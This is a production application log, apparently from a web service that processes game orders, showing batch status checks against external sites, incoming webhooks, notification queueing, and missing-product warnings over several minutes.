[2026-03-24 00:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"user_id":1512,"notification_type":"order_approved","reference_id":178459} 
[2026-03-24 00:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"user_id":331,"notification_type":"order_approved","reference_id":178460} 
[2026-03-24 00:06:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:06:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:06:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"processed":3,"errors":0} 
[2026-03-24 00:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"processed":3,"errors":0} 
[2026-03-24 00:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"orders_count":2,"order_ids":["ORD-gYYWVZj-1774299931","ORD-2Vg-1774299947"]} 
[2026-03-24 00:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395} 
[2026-03-24 00:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"orders_count":2} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398} 
[2026-03-24 00:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 00:06:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 00:06:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"count":1} 
[2026-03-24 00:06:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"count":1} 
[2026-03-24 00:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"user_id":1597,"notification_type":"order_approved","reference_id":178462} 
[2026-03-24 00:06:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:06:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:06:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"processed":1,"errors":0} 
[2026-03-24 00:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397,"processed":1,"errors":0} 
[2026-03-24 00:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gYYWVZj-1774299931","operation_id":163397} 
[2026-03-24 00:06:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 00:06:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1512  
[2026-03-24 00:06:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 331  
[2026-03-24 00:06:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MyU2hmOs-1774299792","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:06:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-MyU2hmOs-1774299792","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:06:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:06:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pvIm-1774299841","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:06:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-pvIm-1774299841","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:06:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:06:05] production.ERROR: Order not found or already processed. External ID: ORD-MyU2hmOs-1774299792  
[2026-03-24 00:06:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MyU2hmOs-1774299792","status":"completed","codes_count":0} 
[2026-03-24 00:06:05] production.ERROR: Order not found or already processed. External ID: ORD-pvIm-1774299841  
[2026-03-24 00:06:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZnkJPY-1774299848","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:06:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pvIm-1774299841","status":"completed","codes_count":0} 
[2026-03-24 00:06:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZnkJPY-1774299848","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:06:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:06:05] production.ERROR: Order not found or already processed. External ID: ORD-ZnkJPY-1774299848  
[2026-03-24 00:06:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZnkJPY-1774299848","status":"completed","codes_count":0} 
[2026-03-24 00:08:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eHtV3lu-1774299910","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:08:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-eHtV3lu-1774299910","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:08:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:08:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1512,"notification_type":"order_approved","reference_id":178461} 
[2026-03-24 00:08:03] production.INFO: Order updated successfully. Order ID: 178461, Status: completed  
[2026-03-24 00:08:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eHtV3lu-1774299910","status":"completed","codes_count":0} 
[2026-03-24 00:08:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04"} 
[2026-03-24 00:08:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","total_operations":5,"sites_count":2} 
[2026-03-24 00:08:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:08:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:08:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:08:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:08:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:08:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:08:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-2Vg-1774299947"]} 
[2026-03-24 00:08:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:08:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:08:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 00:08:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 00:08:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"count":1} 
[2026-03-24 00:08:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"count":1} 
[2026-03-24 00:08:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"user_id":1597,"notification_type":"order_approved","reference_id":178463} 
[2026-03-24 00:08:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:08:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:08:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"processed":1,"errors":0} 
[2026-03-24 00:08:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398,"processed":1,"errors":0} 
[2026-03-24 00:08:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"THfxFxcodc5IsOJS2SKd1oHe9LduRel7","execution_time":"2026-03-24 00:08:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2Vg-1774299947","operation_id":163398} 
[2026-03-24 00:08:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1512  
[2026-03-24 00:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02"} 
[2026-03-24 00:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","total_operations":4,"sites_count":1} 
[2026-03-24 00:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"FrH34EIUhItVvsehRBMm8F48C01L6VRK","execution_time":"2026-03-24 00:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:10:04] production.INFO: async() رجع: true  
[2026-03-24 00:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:10:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:12:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03"} 
[2026-03-24 00:12:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","total_operations":4,"sites_count":1} 
[2026-03-24 00:12:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:12:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:12:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:12:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:12:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:12:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:12:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:12:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:12:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:12:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Wk1Vx4gAo91JWoF3gN8fn2dJW0ofNBQ7","execution_time":"2026-03-24 00:12:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:13:30] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"300.0","mainamount":"300","operation_number":"157886936","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php55uom667vbc61qrrlZb"}},"user_id":1706} 
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 00:13:32] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 00:13:32] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18592,"user_id":1706,"amount":300.0,"admins_notified":7} 
[2026-03-24 00:13:47] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"request_approved","reference_id":18589} 
[2026-03-24 00:13:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 00:13:56] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"request_approved","reference_id":18590} 
[2026-03-24 00:13:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 00:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02"} 
[2026-03-24 00:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","total_operations":4,"sites_count":1} 
